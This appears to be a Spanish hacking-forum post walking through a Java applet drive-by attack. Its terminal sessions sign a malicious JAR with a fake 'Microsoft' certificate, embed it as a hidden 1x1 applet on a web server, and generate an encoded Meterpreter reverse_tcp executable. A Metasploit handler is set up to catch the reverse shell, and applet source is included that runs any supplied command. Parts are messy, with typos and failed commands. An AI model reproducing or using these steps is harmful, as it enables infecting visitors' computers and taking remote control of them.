Foro de elhacker.net

shellroot@ShellRoot-desktop:~$ sudo apt-get install sun-java6-jdk 

shellroot@ShellRoot-desktop:~$ sudo apt-get install apache2

shellroot@ShellRoot-desktop:~$ mkdir JavaAppletInfect

shellroot@shellroot-desktop:~/JavaAppletInfect$ wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh
--2010-01-18 20:07:25--  http://spl0it.org/files/makeapplet.sh
Resolviendo spl0it.org... 205.138.55.249
Conectando a spl0it.org|205.138.55.249|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2184 (2,1K) [application/x-sh]
Guardando: «makeapplet.sh»

100%[======================================>] 2.184       --.-K/s   en 0,02s   

2010-01-18 20:07:26 (99,9 KB/s) - `makeapplet.sh' guardado [2184/2184]

shellroot@shellroot-desktop:~/JavaAppletInfect$ ./makeapplet.sh

Enter the name of the applet without the extension:
MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
¿Cuáles son su nombre y su apellido?
  [Unknown]:  MSFcmd
¿Cuál es el nombre de su unidad de organización?
  [Unknown]:  Microsoft
¿Cuál es el nombre de su organización?
  [Unknown]:  Microsoft Organization
¿Cuál es el nombre de su ciudad o localidad?
  [Unknown]:  Medellin
¿Cuál es el nombre de su estado o provincia?
  [Unknown]:  Colombia
¿Cuál es el código de país de dos letras de la unidad?
  [Unknown]:  CO
¿Es correcto CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Medellin, ST=Colombia, C=CO?
  [no]:  si

[+] Signing the JAR file

Warning: 
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificado almacenado en el archivo <mycertificate.cer>
[+] Done


Deploy the JAR and certificate files. They should be deployed to a distribution directory on a Web server. 

<applet width='1' height='1' code=MSFcmd.class archive=SignedMSFcmd.jar> </applet>

shellroot@shellroot-desktop:~

shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp SignedMSFcmd.jar /var/www
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp MSFcmd.class /var/wwwshellroot@shellroot-desktop:~/JavaAppletInfect$ aparche2ctl start
No command 'aparche2ctl' found, did you mean:
 Command 'apache2ctl' from package 'apache2.2-common' (main)
aparche2ctl: command not found
shellroot@shellroot-desktop:~/JavaAppletInfect$ apache2ctl start
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
(13)Permission denied: make_sock: could not bind to address [::]:80
(13)Permission denied: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
shellroot@shellroot-desktop:~/JavaAppletInfect$

shellroot@shellroot-desktop:~$ cd msf3
shellroot@shellroot-desktop:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.136 LPORT=1234 R | ./msfencode -t exe -o MSFcmd.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

shellroot@shellroot-desktop:~/msf3$

shellroot@shellroot-desktop:~/msf3$ sudo cp ./MSFcmd.exe /var/www/
shellroot@shellroot-desktop:~/msf3$ sudo chmod a+x /var/www/MSFcmd.exe
shellroot@shellroot-desktop:~/msf3$ 

shellroot@shellroot-desktop:~/msf3$ ./msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops

msf exploit(handler) > back
msf > use multi/handler
reverse_tcpmsf exploit(handler) > set PAYLOAD windows/meterpreter/ 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.136
LHOST => 192.168.142.136
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > save
Saved configuration to: /home/shellroot/.msf3/config
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...

f = Runtime.getRuntime().exec("first");

f = Runtime.getRuntime().exec(first);

import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
	public void init() {
		Process f;
		String first = getParameter(first);
		try {
			f = Runtime.getRuntime().exec(first);
		}
		catch(IOException e) {
			e.printStackTrace();
		}
		Process s;
	}
}

C:\Documents and Settings\Administrador\Escritorio\JavaInfect> java makeapplet.s
h
Exception in thread "main" java.lang.NoClassDefFoundError: makeapplet/sh
Caused by: java.lang.ClassNotFoundException: makeapplet.sh
        at java.net.URLClassLoader$1.run(Unknown Source)
        at java.security.AccessController.doPrivileged(Native Method)
        at java.net.URLClassLoader.findClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
Could not find the main class: makeapplet.sh.  Program will exit.

C:\Documents and Settings\Administrador\Escritorio\JavaInfect>